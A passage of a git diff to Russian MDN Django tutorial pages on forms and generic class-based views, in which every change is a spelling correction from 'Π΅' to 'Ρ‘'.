Π»ΡŽΠ±ΡƒΡŽ</em> Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ созданию, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ записСй, связанных с ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½ΠΎΠΉ модСлью.</p>
-<p>БущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ Ρ‡Π΅Π³ΠΎ Π΅Ρ‰Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ (ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ со списком Π½ΠΈΠΆΠ΅), Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ Π½Π° вашСм сайтС.Β Β </p>
+<p>БущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ Ρ‡Π΅Π³ΠΎ Π΅Ρ‰Ρ‘, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ (ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ со списком Π½ΠΈΠΆΠ΅), Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ Π½Π° вашСм сайтС.Β Β </p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
@@ -644,7 +644,7 @@ class AuthorDelete(DeleteView):
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Класс Form ΠΈ валидация поля</a> (Django docs)</li>
<li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ классом Form ΠΈΠ· классов ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</a> (Django docs)</li>
<li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ</a> (Django docs)</li>
- <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ отобраТСния для рСдактирования</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ отобраТСния для рСдактирования</a> (Django docs)</li>
</ul>
<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p>
diff --git a/files/ru/learn/server-side/django/generic_views/index.html b/files/ru/learn/server-side/django/generic_views/index.html
index 97072e9413..2cb9c4eab0 100644
--- a/files/ru/learn/server-side/django/generic_views/index.html
+++ b/files/ru/learn/server-side/django/generic_views/index.html
@@ -12,7 +12,7 @@ translation_of: Learn/Server-side/Django/Generic_views
<div>{{LearnSidebar}}<br>
{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div>
-<p class="summary">Данная Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя Π² Π½Π΅Π³ΠΎ списки ΠΈ страницы, ΠΏΡƒΡ‚Π΅ΠΌ прСдоставлСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Ρ…. Π’ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ части ΠΌΡ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ классы отобраТСния ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ сущСствСнно ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ количСство ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ситуации. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассмотрим ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ настройки URL-адрСсов, показывая ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ простоС сопоставлСниС ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ строки ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρƒ рСгулярного выраТСния.</p>
+<p class="summary">Данная Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя Π² Π½Π΅Π³ΠΎ списки ΠΈ страницы, ΠΏΡƒΡ‚Ρ‘ΠΌ прСдоставлСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Ρ…. Π’ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ части ΠΌΡ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ классы отобраТСния ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ сущСствСнно ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ количСство ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ситуации. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассмотрим ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ настройки URL-адрСсов, показывая ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ простоС сопоставлСниС ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ строки ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρƒ рСгулярного выраТСния.</p>
<table class="learn-box standard-table">
<tbody>
@@ -22,7 +22,7 @@ translation_of: Learn/Server-side/Django/Generic_views
</tr>
<tr>
<th scope="row">ЦСль:</th>
- <td>ΠŸΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π³Π΄Π΅ ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ классы отобраТСния, ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹ URL-адрСсов для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² отобраТСния.</td>
+ <td>ΠŸΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π³Π΄Π΅ ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ классы отобраТСния, ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹ URL-адрСсов для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² отобраТСния.</td>
</tr>
</tbody>
</table>
@@ -31,9 +31,9 @@ translation_of: Learn/Server-side/Django/Generic_views
<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ руководствС ΠΌΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠΌ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ добавлСния страницы пСрСчислСния ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Ρ… (ΠΈΠ»ΠΈ, Ссли Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌΠΈ, ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ Π²Π°ΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ страницы для ΠΊΠ½ΠΈΠ³, Π° для Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π²Ρ‹ смоТСтС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ!)</p>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ процСсс ΠΏΠΎΡ…ΠΎΠΆ Π½Π° созданиС Π³Π»Π°Π²Π½ΠΎΠΉ страницы сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ части руководства. Нам всС Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π΄ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ URL-прСобразования, отобраТСния ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ страниц. ΠžΡΠ½ΠΎΠ²Π½Ρ‹ΠΌ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для страниц ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°ΠΌΠΈ встанСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π·Π°Π΄Π°Ρ‡Π° получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π° URL-адрСса ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΅Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ. Для этих страниц ΠΌΡ‹ собираСмся ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ‚ΠΈΠΏ отобраТСния, основанный Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈΒ  ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Ρ… классов отобраТСния списка ΠΈ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ записи. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ сущСствСнно ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ количСство ΠΊΠΎΠ΄Π°, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ для отобраТСния ΠΈ сдСлаСт Π΅Π³ΠΎ (ΠΊΠΎΠ΄) Π±ΠΎΠ»Π΅Π΅ простым для написания ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ.</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ процСсс ΠΏΠΎΡ…ΠΎΠΆ Π½Π° созданиС Π³Π»Π°Π²Π½ΠΎΠΉ страницы сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ части руководства. Нам всС Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π΄ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ URL-прСобразования, отобраТСния ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ страниц. ΠžΡΠ½ΠΎΠ²Π½Ρ‹ΠΌ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для страниц ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°ΠΌΠΈ встанСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π·Π°Π΄Π°Ρ‡Π° получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π° URL-адрСса ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΅Ρ‘ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ. Для этих страниц ΠΌΡ‹ собираСмся ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ‚ΠΈΠΏ отобраТСния, основанный Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈΒ  ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Ρ… классов отобраТСния списка ΠΈ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ записи. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ сущСствСнно ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ количСство ΠΊΠΎΠ΄Π°, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ для отобраТСния ΠΈ сдСлаСт Π΅Π³ΠΎ (ΠΊΠΎΠ΄) Π±ΠΎΠ»Π΅Π΅ простым для написания ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ.</p>
-<p>Π—Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ³ΠΎ руководства Π±ΡƒΠ΄Π΅Ρ‚ посвящСна дСмонстрации постраничного ΠΏΠΎΠΊΠ°Π·Π° Π²Π°ΡˆΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… (pagination) ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ класса отобраТСния списка.</p>
+<p>Π—Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ³ΠΎ руководства Π±ΡƒΠ΄Π΅Ρ‚ посвящСна дСмонстрации постраничного ΠΏΠΎΠΊΠ°Π·Π° Π²Π°ΡˆΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… (pagination) ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ класса отобраТСния списка.</p>
<h2 id="Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π°_со_списком_ΠΊΠ½ΠΈΠ³">Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° со списком ΠΊΠ½ΠΈΠ³</h2>
@@ -56,11 +56,11 @@ urlpatterns = [
<p>Ѐункция отобраТСния ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, Ρ‡Π΅ΠΌ Ρ€Π°Π½Π΅Π΅ β€” это связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ рСализуСтся Ρ‡Π΅Ρ€Π΅Π· класс. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΎΠ±Ρ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ·Β <strong>view</strong>, которая ΡƒΠΆΠ΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ ΠΈ Π½ΡƒΠΆΠ½ΠΎ, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²ΠΎΒ <strong>view</strong> с нуля.</p>
-<p>ΠŸΡ€ΠΈ использовании ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Ρ… классов отобраТСния Π² Django ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ доступ ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β  <code>as_view()</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ выполняСтся вся Ρ€Π°Π±ΠΎΡ‚Π° ΠΏΠΎ созданию экзСмпляра класса ΠΈ гарантируСтся Π²Ρ‹Π·ΠΎΠ² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² для входящих HTTP-запросов.</p>
+<p>ΠŸΡ€ΠΈ использовании ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Ρ… классов отобраТСния Π² Django ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ доступ ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β  <code>as_view()</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ выполняСтся вся Ρ€Π°Π±ΠΎΡ‚Π° ΠΏΠΎ созданию экзСмпляра класса ΠΈ гарантируСтся Π²Ρ‹Π·ΠΎΠ² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² для входящих HTTP-запросов.</p>
<h3 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅_(Π½Π°_основС_Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ_класса)">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (Π½Π° основС Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ класса)</h3>
-<p>ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ достаточно просто Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ списка ΠΊΠ½ΠΈΠ³ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ ΠΌΡ‹ сдСлали это для Π³Π»Π°Π²Π½ΠΎΠΉ страницы сайта), которая Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»Π° Π±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ запрос получСния всСх ΠΊΠ½ΠΈΠ³ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ  <code>render()</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ список, Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ шаблон страницы. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, вмСсто это ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс отобраТСния списка β€” класс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся ΠΎΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ отобраТСния (ListView). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс ΡƒΠΆΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, ΠΈ слСдуя Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°ΠΌ Django, ΠΌΡ‹ смоТСм ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивный список ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ мСньшСго количСства ΠΊΠΎΠ΄Π°, мСньшСго количСства ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉ ΠΈ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ.</p>
